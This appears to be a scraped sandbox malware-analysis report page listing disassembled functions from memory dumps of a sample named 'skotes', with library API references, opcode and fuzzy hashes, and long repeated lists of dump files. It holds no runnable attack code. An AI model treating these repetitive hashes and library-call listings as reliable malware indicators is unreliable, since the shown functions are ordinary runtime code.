Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: c7095141c4057c530e684bf1ea2bae19e8fb39745ea8a883ecbe425797c1576a
Instruction ID: 2f4eef35665314552499b43b6f4cd80941707a0418a02910b56e460eaa28861f
Opcode Fuzzy Hash: c7095141c4057c530e684bf1ea2bae19e8fb39745ea8a883ecbe425797c1576a
Instruction Fuzzy Hash: 8401A270BC27127EAB312B757C0DE9B31999B86B45F191410AD04E72E4DFA0CC868975

Function 00D2E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00D2E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00D2E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D2E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00D2E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00D2E9DC

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 5290a4748839bccbba69ee60975b143b16f0c30d93ae5bf90324ba2a61f4e858
Instruction ID: 631ff988261926d72dc65f6e116e4999ff306d7ada01155af2a0c45f3d9dbe3a
Opcode Fuzzy Hash: 5290a4748839bccbba69ee60975b143b16f0c30d93ae5bf90324ba2a61f4e858
Instruction Fuzzy Hash: C4418335A00219EFCF09DF64D554A6DBBB6FF98314F04815AE806A7390CB34AE41CFA0

Function 00D1ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00D1ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00D1ED17

Part of subcall function 00D1F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00D1F3FA

__alloca_probe_16.LIBCMT ref: 00D1ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00D1ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00D1EDC6

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: ee7d8ea9cbddc5f4da18fa2c1373c3983892a8a7497764b5b0ac88a4ccf0d661
Instruction ID: 369c7f33601101e70ab4d5d3589159e7bcfd65b8ed962121a26b98a5736796b6
Opcode Fuzzy Hash: ee7d8ea9cbddc5f4da18fa2c1373c3983892a8a7497764b5b0ac88a4ccf0d661
Instruction Fuzzy Hash: 51319C71E00215ABCB14DFA8E8416EDB7B5EF09310F68406AE845E7341DF349E82CBB0

Function 00D2D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00D2D344
ListArray.LIBCONCRT ref: 00D2D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00D2D370
ListArray.LIBCONCRT ref: 00D2D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00D2D3B3

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: ad43c0cb1cb77d53c7b1b36d3f59ecad0cb5c62fe956bc862bc6ba37b9072d47
Instruction ID: 54631274210dec73846c93877d9e296b9a44fbfb2229ef0e5cbfa92d8854067b
Opcode Fuzzy Hash: ad43c0cb1cb77d53c7b1b36d3f59ecad0cb5c62fe956bc862bc6ba37b9072d47
Instruction Fuzzy Hash: 8B31A035700220EFCB05EB54D884BADB7A6FF98314F140099E8069B392CB70ED41CBB2

Function 00D286C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00D286EE

Part of subcall function 00D1EAD0: _SpinWait.LIBCONCRT ref: 00D1EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00D28702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00D28734
List.LIBCMT ref: 00D287B7
List.LIBCMT ref: 00D287C6

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ac77516d5a3c20266d35a3d1c21f957c5d226303b3bebae85d1daf98a2e46cf6
Instruction ID: fc3df18c5c33574affa11167c361e8c51edcd9f58d8fd04377f9dd016bbd9ec3
Opcode Fuzzy Hash: ac77516d5a3c20266d35a3d1c21f957c5d226303b3bebae85d1daf98a2e46cf6
Instruction Fuzzy Hash: 0B316832902665EFCB14EFA4E5816DDB7B1FF24318F28406AD84167652CF31A904DBB0

Function 00D1A840 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D1A9D0
__Mtx_unlock.LIBCPMT ref: 00D1A9ED

Part of subcall function 00D03380: __Cnd_broadcast.LIBCPMT ref: 00D033CB
Part of subcall function 00D03380: __Mtx_unlock.LIBCPMT ref: 00D033DF

Concurrency::cancel_current_task.LIBCPMT ref: 00D1AA45

Strings

?]&$, xrefs: 00D1A857

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
